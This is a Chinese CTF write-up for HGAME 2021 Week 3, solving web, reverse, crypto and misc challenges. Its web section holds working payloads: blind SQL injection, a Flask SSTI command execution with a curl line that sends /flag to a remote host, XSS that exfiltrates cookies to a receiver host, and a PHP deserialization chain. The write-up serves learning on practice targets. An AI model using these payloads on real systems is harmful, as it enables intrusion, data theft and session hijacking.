HGAME2021 - Week 3 writeup

web

Liki-Jail [300]

只有一个登录页的 SQL 注入题,禁止了单双引号、空格等字符,后来根据提示得知用户名和密码在同一句 SQL 中

假设 SQL 为 SELECT * FROM users WHERE username='$username' AND password='$password'...

经过测试发现可以构造 username 为 admin\,password 为 payload,导致 $username 后的单引号被反斜杠转义,使 username 的条件变为 admin' AND password= 这个整体,那么 payload 就会被接在后面,可以使用 OR 来连接使其生效

SELECT * FROM users WHERE username='admin\' AND password=' OR 1#...

测试发现需要使用延迟盲注,payload 如 username=admin\\&password=OR/**/SLEEP(IF(1,3,0))#

依次爆出库名 week3sqli、表名 u5ers、列名 [email protected] & [email protected] 后查出管理员用户名与密码,登录即可得到 flag

其实题目描述中的 “逃离监狱” 应该就是转义(escape)单引号的隐喻吧

Flag: hgame{7imeB4se_injeCti0n+hiDe~th3^5ecRets}

Forgetful [300]

Flask SSTI,注入点在新建记录的标题参数,会输出在查看页面中

使用通用 payload 来执行命令

{% for c in [].__class__.__base__.__subclasses__() %}
{% ifc.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}
{% endif %}
{% endfor %}

通过 ls -l / 发现 /flag,注意由于源码中会检测输出字符串中是否含有 “hgame” 或 “emagh”,可以在命令后加上 “| base64” 来输出 base64 编码的内容,或者通过 curl receiver.host --data-binary @/flag 来把 flag 文件内容发到远程主机

Flag: hgame{h0w_4bou7+L3arn!ng~PythOn^Now?}

Post to zuckonit2.0 [50]

XSS 题,出现了非预期解

主页 CSP 为 default-src 'self'; script-src 'self';,预览页无 CSP

后端进行了严格过滤,发布内容只能为不含标签的普通文本,或 <iframe src=[\"'][a-zA-Z/]{1,8}[\"']> 格式的 iframe

HTML 注释中提示了源码位于 /static/www.zip,在模板 preview.html 中发现存在 SSTI 漏洞

<!-- ...[OMITTED]... -->
    <script>
        $(function () {
            $.get("/contents").done(function (data) {
                let substr = "{{ substr }}"
                let replacement = "{{ replacement | safe }}"
                let output = document.getElementById("output")
                for (let i = 0; i < data.length; i++) {
                    let div = document.createElement("div")
                    div.innerHTML = data[i].replace(substr, replacement)
                    output.appendChild(div)
                }
            })
        })
    </script>
<!-- ...[OMITTED]... -->

在内容替换功能提交的 replacement 参数被直接渲染到 JS 的变量赋值中,而服务端没有过滤双引号,可以构造 foobar" 来闭合赋值字符串,后面可以连接任意代码

通过 payload foobar";location.href='//receiver/'+btoa(document.cookie);" 就可以打到后端 bot 的 cookie

Flag: hgame{simple_csp_bypass&a_small_mistake_on_the_replace_function}

Post to zuckonit another version [350]

将 Post to zuckonit2.0 中的内容替换功能改成了搜索(高亮),同样提供了源码,增加了对 "\ 的过滤导致无法直接闭合 JS 赋值

<!-- ...[OMITTED]... -->
    <script>
        $(function () {
            $.get("/contents").done(function (data) {
                let content = "{{ substr | safe }}"
                let output = document.getElementById("output")
                for (let i = 0; i < data.length; i++) {
                    let div = document.createElement("div")
                    let substr = new RegExp(content, 'g')
                    div.innerHTML = data[i].replace(substr, `<b class="search_result">${content}</b>`)
                    output.appendChild(div)
                }
            })
        })
    </script>
<!-- ...[OMITTED]... -->

RegExp 使用了 substr 来构造正则表达式,可以通过 foo|bar 来匹配 foo,而将 bar 作为后面高亮时使用的 content

查阅了相关文档后发现在 String.replace() 的替换参数中可以使用一些特殊字符串来引用正则匹配的结果,那就可以构造出新的标签

通过 payload 如 iframe|$`img src=1 onerror=location.href='//receiver/'+btoa(document.cookie)$' 就可以打到后端 bot 的 cookie

Flag: hgame{CSP_iS_VerY_5trlct&[email protected]_uSe_3vil.Js!}

Arknights [300]

根据题目描述中的提示 “用 git 部署” 可以发现存在 /.git/HEAD,通过 GitTools 可以还原源码

可以在 simulator.php 中发现直接 unserialize cookie 作为 session 数据,存在反序列化漏洞

<?php
// ...[OMITTED]...
class Session {
    public function extract($session){
        $sess_array = explode(".", $session);
        $data = base64_decode($sess_array[0]);
        $sign = base64_decode($sess_array[1]);

        if($sign === md5($data . self::SECRET_KEY)){
            $this->sessionData = unserialize($data);
        }else{
            unset($this->sessionData);
            die("Go away! You hacker!");
        }
    }
}
// ...[OMITTED]...

且在 CardsPool 类中有读取文件内容的操作,可以将构造参数指定为要读取的目标 flag.php

<?php
class CardsPool {
// ...[OMITTED]...
    private $file;

    public function __construct($filePath) {
        if (file_exists($filePath)) {
            $this->file = $filePath;
        } else {
            die("Cards pool file doesn't exist!");
        }
    }
// ...[OMITTED]...
    public function __toString(){
        return file_get_contents($this->file);
    }
}

但是由于该操作位于魔术方法 __toString 中,需要再找出一个触发该方法的点,而恰好存在含有 echo 的 Eeeeeeevallllllll 类

<?php
class Eeeeeeevallllllll {
    public $msg="坏坏liki到此一游";

    public function __destruct() {
        echo $this->msg;
    }
}

所以只需要让反序列化结果如下

<?php
class Eeeeeeevallllllll {
    public $msg = new CardsPool('flag.php');
}

由于在 CardsPool 类中 $file 为私有变量,在序列化字符串中有特殊格式,payload 为 b'O:17:"Eeeeeeevallllllll":1:{s:3:"msg";O:9:"CardsPool":1:{s:15:"\x00CardsPool\x00file";s:8:"flag.php";}}'

按照 Session 类中的格式进行 base64 编码 + md5 签名,修改 cookie 值再请求即可输出 flag.php 的内容

Flag: hgame{XI-4Nd-n!AN-D0e5Nt_eX|5T~4t_ALL}

reverse

gun [350]

使用梆梆加固免费版加壳的 APK,使用 FRIDA-DEXDump 即可 dump 出 dex,之后使用 JEB 等工具反编译可以发现该 app 使用 152 个有不同延迟(Thread.Sleep)的线程来发送含有不同字符的 bullet 参数的请求

不知为何实际表现非预期,为按线程创建顺序执行

编写脚本提取出所有 bullet 及其延迟,升序排列后可以发现 37 位字符为 tsmyq{dQh3x_y3_nk_z4F1h3_0d_zi7I0dw},符合 flag 格式,猜测为移位加密,可以通过 dcode.fr 使用词频分析爆出明文

Flag: hgame{rEv3l_m3_by_n4T1v3_0r_nw7W0rk}

FAKE [300]

使用 IDA 反编译后发现主要校验位于 sub_401216,对输入的 36 位字符进行了复杂运算来检查是否满足各种条件

将运算过程复制出来,使用 python z3 求解

from z3 import *

a = [BitVec(f'a_{i}', 8) for i in range(36)]
solver = Solver()

solver.add(a[0] == ord('h'), a[1] == ord('g'), a[2] == ord('a'), a[3] == ord('m'), a[4] == ord('e'), a[5] == ord('{'), a[35] == ord('}'))
solver.add(-35 * a[2] + 89 * a[24] + -49 * a[16] + (-19 * a[4] + 88 * a[25] + -7 * a[30] + a[27] + -33 * a[20] + -23 * a[23] + 90 * a[14] + -99 * a[10] + 30 * a[29] + -37 * a[1] + -58 * a[33] + 17 * a[7] + 26 * a[31] + -20 * a[12] + -56 * a[26] + 70 * a[19] + 29 * a[0] + -42 * a[17] + 67 * a[35] + 11 * a[6] + 66 * a[15] + 53 * a[11] - 53 * a[3] + 63 * a[32] - 65 * a[21] + 9 * a[9] - 50 * a[28] - 48 * a[8] - 70 * a[22] + 48 * a[13] - 68 * a[34] - 14 * a[5]) - 67 * a[18] == -874)
# ...[OMITTED]...
if solver.check() == sat:
    print(solver.model())

得到结果 hgame{@_FAKE_flag!-do_Y0u_know_SMC?},输入检查果然是 FAKE flag

根据提示 SMC (Self-Modifying Code),发现 sub_406A11 中通过读取 /proc/self/status 中的 TracerPid 来检查是否正被调试,然后将 sub_401216 中的指令依次与 byte_409080 中的数据异或,作为新的指令

可以编写脚本或通过 frida 来 dump 出实际的内存,重新使用 IDA 反编译,校验变成了将输入与 FAKE flag 进行矩阵乘法,检查是否与目标相同,通过 numpy 即可求解出真正的 flag

import numpy as np

v3 = [[55030, 61095, 60151, 57247, 56780, 55726], [46642, 52931, 53580, 50437, 50062, 44186],
      [44909, 46490, 46024, 44347, 43850, 44368], [54990, 61884, 61202, 58139, 57730, 54964],
      [48849, 51026, 49629, 48219, 47904, 50823], [46596, 50517, 48421, 46143, 46102, 46744]]
v2 = [[104, 103, 97, 109, 101, 123], [64, 95, 70, 65, 75, 69], [95, 102, 108, 97, 103, 33],
      [45, 100, 111, 95, 89, 48], [117, 95, 107, 111, 110, 119], [95, 83, 77, 67, 63, 125]]

v3 = np.array(v3)
v2 = np.array(v2)
a1 = (v3 @ np.linalg.inv(v2)).reshape(36).tolist()
for c in a1:
    print(chr(int(round(c))), end='')

Flag: hgame{[email protected]_Se1f-Modifying_C0oodee33}

crypto

LikiPrime [250]

RSA,其中通过 get_prime 生成的 p 与 q 为梅森素数,因为数量很少可以直接爆破

from gmpy2 import invert

def get_prime(secret):
    prime = 1
    for _ in range(secret):
        prime = prime << 1
    return prime - 1

n = ...[OMITTED]...
e = 65537
c = ...[OMITTED]...

secrets = [1279, 2203, 2281, 3217, 4253, 4423]

for secret in secrets:
    p = get_prime(secret)
    if n % p == 0:
        q = n // p
        d = invert(e, (p - 1) * (q - 1))
        m = pow(c, d, n)
        print(bytes.fromhex(f'{m:0x}'))

Flag: hgame{Mers3nne~Pr!Me^re4l1y_s0+5O-li7tle!}

HappyNewYear!! [300]

RSA,由于 e=3,根据题目描述 “有几个朋友发送的内容还是相同的!”,将几组数据依次组合成三组,通过低指数广播攻击即可解出两条明文,拼接即得 flag

from itertools import combinations
from gmpy2 import invert, iroot

e = 3
data = []
with open(r'output') as f:
    lines = f.readlines()
    for i in range(0, len(lines), 5):
        n = int(lines[i][4:])
        c = int(lines[i + 2][4:])
        data.append((n, c))


def attack(ns, cs):
    N = 1
    for n in ns:
        N *= n
    M = 0
    for i in range(len(ns)):
        _N = N // ns[i]
        _u = invert(_N, ns[i])
        M += cs[i] * _u * _N
    M = M % N
    root, exact = iroot(M, e)
    if exact:
        return root


for group in combinations(data, 3):
    ns, cs = [], []
    for data in group:
        ns.append(data[0])
        cs.append(data[1])
    res = attack(ns, cs)
    if res:
        print(bytes.fromhex(f'{res:0x}'))

Flag: hgame{[email protected]~YOu^9ot=i7}

misc

A R K [250]

使用 wireshark 打开数据包可以发现 No. 321 开始的 FTP 流量,分析可得 No. 379, 380, 383 三处 FTP-DATA 流量传输了 ssl.log 的内容,导出之后在 wireshark 的 TLS 设置中选择导出的文件为 (Pre-)Master-Secret log,即可解密 TLS 流量

分析 No. 239 处的 HTTP 响应,JSON 中的 battleReplay 字段值为 base64 编码字符串,解码后可见头四个字节为 50 4B 05 06,猜测可能为 ZIP 压缩数据,修改第三、四个字节为 03 04 后保存解压,得到含有 JSON 数据的 default_entry 文件

分析其中的 journal.logs 数据,可以发现每组数据都有一个位置坐标(pos.row、pos.col)

{
    "timestamp": 0,
    "signiture": {
        "uniqueId": 2147483815,
        "charId": "char_2015_dusk"
    },
    "op": 0,
    "direction": 1,
    "pos": {
        "row": 12,
        "col": 12
    }
},

编写脚本读取 logs,绘制成图像可以得到一个二维码,扫描即得 flag

from json import loads as json_loads
from PIL import Image, ImageDraw

with open(r'default_entry') as f:
    logs = json_loads(f.read())['journal']['logs']

points = []
for log in logs:
    points.append((log['pos']['row'], log['pos']['col']))

im = Image.new('1', (100, 100), 1)
draw = ImageDraw.Draw(im)
draw.point(points, fill=0)
im.show()

Flag: hgame{Did_y0u_ge7_Dusk?}

A R C [350]

附件中有一个加密的 7z 压缩包,文件名为 BVenc(10001540),使用脚本得到 BV 编码 “BV17x411U77f” 作为密码解压失败

8558.png 图像中有一串 73 个字符的 base85 编码字符串,根据附件中的字体文件识别每个字符,解码得到 “h8btxsWpHnJEj1aL5G3gBuMTKNPAwcF4fZodR9XQ7DSUVm2yCkr6zqiveY”,有 58 个字符,猜测为替换了 Bilibili 视频 BV 号编码方式的字符表

修改脚本即可得到 10001540 相应的编码 “BV17x411U77f”,成功解压 7z,得到一个 mkv 视频和一个 txt 文本

mkv 中有文字 “What is the answer to life, the universe and everything?”,出自《银河系漫游指南》,答案为 42

末尾有两行字符串 “#)+FIIMEH:?Injiikffi”、“pwbvmpoakiscqdobil”

txt 中有一堆和第一个字符串相似编码的文本,根据提示猜测为 ROT-42 编码

def rot42(data):
    decode = []
    for i in range(len(data)):
        encoded = ord(data[i])
        if encoded >= 33 and encoded <= 126:
            decode.append(chr(33 + ((encoded + 9) % 94)))
        else:
            decode.append(data[i])
    return ''.join(decode)

解码可以得到

Flag is not here, but I write it because you may need more words to analysis what encoding the line1 is.
For line2, Liki has told you what it is, and Akira is necessary to do it.
...[OMITTED]...

解码 “#)+FIIMEH:?Injiikffi” 得到 “MSUpsswordis:6557225”

使用 MSU StegoVideo,设置密码为 6557225,可以从 mkv 中提取隐写的数据

[REDACTED]
Hikari
Tairitsu

访问 https://[REDACTED]/,使用 Hikari 和 Tairitsu 作为用户名和密码登录,检查一下网站没发现什么有用的东西,而题中还有一个字符串 “pwbvmpoakiscqdobil” 没有用到

根据 txt 解码中的第二行提示,与 week1 的 まひと 有关,使用密码 Akira 进行 Vigenère 解密,得到 “pmtempestissimobyd”,访问 https://[REDACTED]/pmtempestissimobyd,得到 flag

Flag: hgame{Y0u_Find_Pur3_Mem0ry}

accuracy [350]

机器学习题,附件中有 12272 张含有单个字符的图片需要被识别,另外提供了一个 dataset.csv,包含 110683 条样本(label 和 784 个像素点的数据)

图片样式和 MNIST 数据集中的几乎一样,使用 Tensorflow 进行识别(这里使用 Google Colab 平台)

参考资料:Tensorflow Boost 案例提交之手写数字 - VXenomac

import os
os.environ['TF_ENABLE_AUTO_MIXED_PRECISION'] = '1'

from tensorflow import keras

import matplotlib.pyplot as plt
def plot_image(image):
    fig = plt.gcf()
    fig.set_size_inches(2, 2)
    plt.imshow(image, cmap='binary')
    plt.show()

import numpy as np
from csv import reader as csv_reader

X_train, y_train = [], []
with open(r'dataset.csv') as f:
    reader = csv_reader(f)
    reader.__next__()
    for row in reader:
        label = int(row.pop(0))
        y_train.append(label)

        row_data = []
        for x in range(28):
            row_data.append([])
            for y in range(28):
                row_data[x].append(row[x * 28 + y])
        X_train.append(row_data)

X_train = np.array(X_train[:100000], np.uint8)
X_test = np.array(X_train[100000:], np.uint8)
y_train = np.array(y_train[:100000], np.uint8)
y_test = np.array(y_train[100000:], np.uint8)

X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255.0
X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255.0
y_train = keras.utils.to_categorical(y_train)
y_test = keras.utils.to_categorical(y_test)

BATCH_SIZE = 100
BUFFER_SIZE = 1000
EPOCH = 200

import tensorflow as tf

def dataset_generator(data, label):
    dataset = tf.data.Dataset.from_tensor_slices((data, label))
    dataset = dataset.batch(BATCH_SIZE)
    dataset = dataset.shuffle(buffer_size=BUFFER_SIZE)
    dataset = dataset.repeat()
    return dataset

train_dataset = dataset_generator(X_train, y_train)
test_dataset = dataset_generator(X_test, y_test)

model = keras.Sequential([
    keras.layers.Conv2D(filters=16, kernel_size=(5, 5), padding='same', input_shape=(28, 28, 1), activation='relu'),
    keras.layers.MaxPooling2D(pool_size=(2, 2)),
    keras.layers.Conv2D(filters=36, kernel_size=(5, 5), padding='same', activation='relu'),
    keras.layers.MaxPooling2D(pool_size=(2, 2)),
    keras.layers.Dropout(0.25),
    keras.layers.Flatten(),
    keras.layers.Dense(128, activation='relu'),
    keras.layers.Dropout(0.5),
    keras.layers.Dense(16, activation='softmax')
])

model.summary()

model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])

STEPS_PER_EPOCH = int(100000 / BATCH_SIZE)
VALIDATION_STEPS = int(10683 / BATCH_SIZE)

history = model.fit(train_dataset, epochs=10, steps_per_epoch=STEPS_PER_EPOCH)

model.save('my_model.h5')


# actual predicting
from keras.preprocessing.image import img_to_array
from PIL import Image, ImageOps

labels = [f'{i:X}' for i in range(16)]
with open(r'output.txt', 'w') as f:
    for i in range(12272):
        img = img_to_array(ImageOps.invert(Image.open(rf'chars/{i}.png').convert('L'))).reshape(1,28,28,1)
        f.write(labels[np.argmax(model.predict(img))])

将识别出的文本提交到所给的网址验证,准确率足够高即可得到 flag

Flag: hgame{deep_learn1ng^and&AI*1s$amazing#r1ght?}

分类: CTF

0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注